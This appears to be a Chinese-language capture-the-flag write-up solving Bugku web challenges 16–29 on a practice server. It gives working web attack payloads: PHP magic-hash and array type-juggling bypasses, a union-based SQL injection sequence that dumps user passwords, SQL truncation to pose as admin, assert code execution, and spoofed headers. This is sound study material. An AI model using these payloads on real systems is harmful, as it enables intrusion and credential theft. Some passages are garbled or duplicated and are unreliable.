[Bugku][Web][CTF] 16-29 write up
【說明】 整合資源 簡略版本2020Bugku write up
web16 備份是個好習慣
/index.php.bak 查看php代碼
1.因為md5()函數(shù)加密不能處理數(shù)組,則key1和key2的返回值為空,即可獲得flag
http://123.206.87.240:8002/web16/?kkeyey1[]=1&kkeyey2[]=4
2.利用==比較漏洞
如果兩個字符經(jīng)MD5加密后的值為 0exxxxx形式,就會被認為是科學計數(shù)法,且表示的是0*10的xxxx次方,還是零,都是相等的。
下列的字符串的MD5值都是0e開頭的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
http://123.206.87.240:8002/web16/?kkeyey1=s214587387a&kkeyey2=240610708
參考連接:https://blog.csdn.net/qq_42133828/article/details/84871544?utm_medium=distribute.pc_relevant.none-task-blog-searchFromBaidu-2.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant.none-task-blog-searchFromBaidu-2.not_use_machine_learn_pai
web17 sql注入
sqlmap工具或Hackbar手動注入
1.判斷是否存在注入,注入是字符型還是數(shù)字型
抓包更改參數(shù)id為
1′ or 1=1 #
2.猜解SQL查詢語句中的字段數(shù)
1 order by 2 #
1 order by 3 #
3.確定顯示的字段順序
1 union select 1,2 #
4.獲取當前數(shù)據(jù)庫
1 union select 1,database() #
5.獲取數(shù)據(jù)庫中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
6.獲取表中的字段名
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
7.下載數(shù)據(jù)
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
參考鏈接:https://blog.csdn.net/qq_35811830/article/details/86655279?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromBaidu-1.not_use_machine_learn_pai
web18 秋名山老司機
python腳本 requests get post eval()
https://blog.csdn.net/weixin_41607190/article/details/87932977
web19 快
python requests 兩次base64解碼
https://blog.csdn.net/changer_WE/article/details/88805322?utm_medium=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.not_use_machine_learn_pai&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.not_use_machine_learn_pai
web20 cookie欺騙
base64 index.php line=1 margin欺騙
filename參數(shù)顯然是base64加密,解密后為keys.txt, line參數(shù)猜測為代碼行數(shù),嘗試將filename改為index.php的base64加密,line不同顯示不同行的代碼,寫一個python腳本跑出所有代碼,根據(jù)代碼邏輯,存在 keys.php頁面,且必須 傳送margin參數(shù)才能訪問,使用hackbar傳送cookie參數(shù)margin,在網(wǎng)站源碼 找到flag。
https://blog.csdn.net/changer_WE/article/details/88978647?utm_medium=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.control&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-searchFromBaidu-1.control
web 21 never give up
1.跳轉 抓包或 view-source:
2.三重加密 url% base64 url
3.php
3.1stripos函數(shù) 偽協(xié)議繞過stripos php://input
3.2 .eregi函數(shù) 可以用數(shù)組繞過,也可以用%00截斷
int eregi(string pattern, string string, [array regs]);
strlen(b)>5anderegi("111".substr(b)>5anderegi("111".substr(b)>5anderegi("111".substr(b,0,1),“1114”)andsubstr($b,0,1)!=4
b=%0012345 ereg函數(shù)存在NULL截斷漏洞
或者*12345或者?12345或者.12345(這里是運用了正則表達式的思想)
3.3 id==0 id=%00或者id=.或者id=0e1
擴展php:https://skysec.top/2017/07/22/PHP%E5%87%BD%E6%95%B0%E9%BB%91%E9%AD%94%E6%B3%95%E5%B0%8F%E6%80%BB%E7%BB%93/
參考鏈接:
https://www.cnblogs.com/cyc-endeavor/p/10375692.html
https://blog.csdn.net/qq_34072526/article/details/86946759?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.control
web22
關鍵字:php scandir()函數(shù)、assert代碼執(zhí)行漏洞
?s=print_r(scandir(’./’)) 讀取目錄及子目錄下所有文件名的方法
最簡單的是print_r(scandir($dir)),還可以利用print_r(glob("."))
scandir() //作用能掃描文件夾下的目錄和文件,返回值為所有文件名組成的一個數(shù)組
show_source() //顯示文件源碼
highlight_file() //和show_source()函數(shù)是一個意思
構造: http://123.206.87.240:8010/ ?s=print_r(scandir(’./’))
參考連接:https://www.cnblogs.com/0yst3r-2046/p/10781215.html
web23 正則
?id = keyabkeyabcdkey:/a/keya?
“/key.*key.{4,7}key:/./(.*key)[a-z][[:punct:]]/i”
. 匹配除 “\n” 之外的任何單個字符
- 匹配它前面的表達式0次或多次,等價于{0,}
{4,7} 最少匹配 4 次且最多匹配 7 次,結合前面的 . 也就是匹配 4 到 7 個任意字符
/ 匹配 / ,這里的 \ 是為了轉義
[a-z] 匹配所有小寫字母
[:punct:] 匹配任何標點符號
/i 表示不分大小寫
https://www.cnblogs.com/0x200/p/13739130.html
web 24
關鍵字 hash strcmpy
?v1=240610708&v2=s878926199a&v3[]=1
1.md5 hash
利用比較漏洞
如果兩個字符經(jīng)MD5加密后的值為 0exxxxx形式,就會被認為是科學計數(shù)法,且表示的是0*10的xxxx次方,還是零,都是相等的。
下列的字符串的MD5值都是0e開頭的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
2.strcmp繞過
strcmp比較的是字符串類型,如果強行傳入其他類型參數(shù),會出錯,出錯后返回值0,正是利用這點進行繞過。
flag[]=xxx 》》 strcmp比較出錯 》》返回null 》》null0 》》條件成立得到flag
web25 hint:SQL約束攻擊
1.注冊一個在數(shù)據(jù)庫中會被認為是admin的賬戶,然后使用這個admin賬戶登錄。
注冊用戶名
admin (我注冊的admin后面有20個空格)
密碼隨便弄一個,但要符合要求
2.注冊成功之后用你注冊的登陸
知識點
1.在SQL中執(zhí)行字符串處理時,字符串末尾的空格符將會被刪除。換句話說“vampire”等同于“vampire ”,對于絕大多數(shù)情況來說都是成立的(諸如WHERE子句中的字符串或INSERT語句中的字符串)例如以下語句的查詢結果,與使用用戶名“vampire”進行查詢時的結果是一樣的。
SELECT * FROM users WHERE username='vampire ';
但也存在異常情況,最好的例子就是LIKE子句了。注意,對尾部空白符的這種修剪操作,主要是在“字符串比較”期間進行的。這是因為,SQL會在內部使用空格來填充字符串,以便在比較之前使其它們的長度保持一致。
2.在所有的INSERT查詢中,SQL都會根據(jù)varchar(n)來限制字符串的最大長度。也就是說,如果字符串的長度大于“n”個字符的話,那么僅使用字符串的前“n”個字符。比如特定列的長度約束為“5”個字符,那么在插入字符串“vampire”時,實際上只能插入字符串的前5個字符,即“vampi”。
參考鏈接
web26 google
構造referer字段
referer: https://www.google.com
參考鏈接:https://blog.csdn.net/qq_43271194/article/details/89970819
web 27 hash碰撞
?a=240610708
md5 hash
利用==比較漏洞
如果兩個字符經(jīng)MD5加密后的值為 0exxxxx形式,就會被認為是科學計數(shù)法,且表示的是0*10的xxxx次方,還是零,都是相等的。
下列的字符串的MD5值都是0e開頭的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
web28 請從本地訪問
抓包 添加字段 X-Forwarded-For:127.0.0.1
X-Forwarded-For(偽裝頭部)知識點:https://www.jianshu.com/p/98c08956183d
web29 各種繞過
關鍵字: sha1 get post
知識點: sha1 構造數(shù)組
步驟:讀懂源代碼,uname get, passed post ,只要使uname的sha1的值與passwd的sha1的值相等即可,但是同時他們兩個的值又不能相等
構造 /?uname[]=1&id=margin 并發(fā)送 passwd[]=2 的 postdata 請求即可
https://www.cnblogs.com/0yst3r-2046/p/10928402.html
總結
以上是生活随笔為你收集整理的[Bugku][Web][CTF] 16-29 write up的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 更改eclipse字体
- 下一篇: 编程五大常用算法